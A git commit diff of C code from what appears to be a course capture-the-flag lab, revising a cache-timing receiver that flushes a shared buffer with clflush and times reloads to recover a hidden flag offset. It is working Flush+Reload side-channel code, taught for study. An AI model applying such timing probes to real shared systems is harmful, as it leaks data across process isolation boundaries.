part2 ver 0.7.0 avoid frequent access

This commit is contained in:
ClF3 2024-11-05 10:12:27 +08:00
parent fb2a2ba698
commit b27c59b282
1 changed files with 23 additions and 20 deletions

View File

@ -25,30 +25,33 @@ int main() {
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 10000; i++) {
new_offset = (AVAR * offset + CVAR) % 1024;
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
offset = (AVAR1 * offset + CVAR1) % 1024;
for (int j = 0; j < 1024; j++) {
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
else {
offset = new_offset;
}
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) {
clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 64; i++) {
new_offset = (AVAR * offset + CVAR) % 1024;
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
offset = (AVAR1 * offset + CVAR1) % 1024;
}
else {
offset = new_offset;
}
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) {
// clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
}
}
}
}
printf("Flag: %d\n", flag);
printf("Time: %d\n", time);
printf("Index: %d\n", index);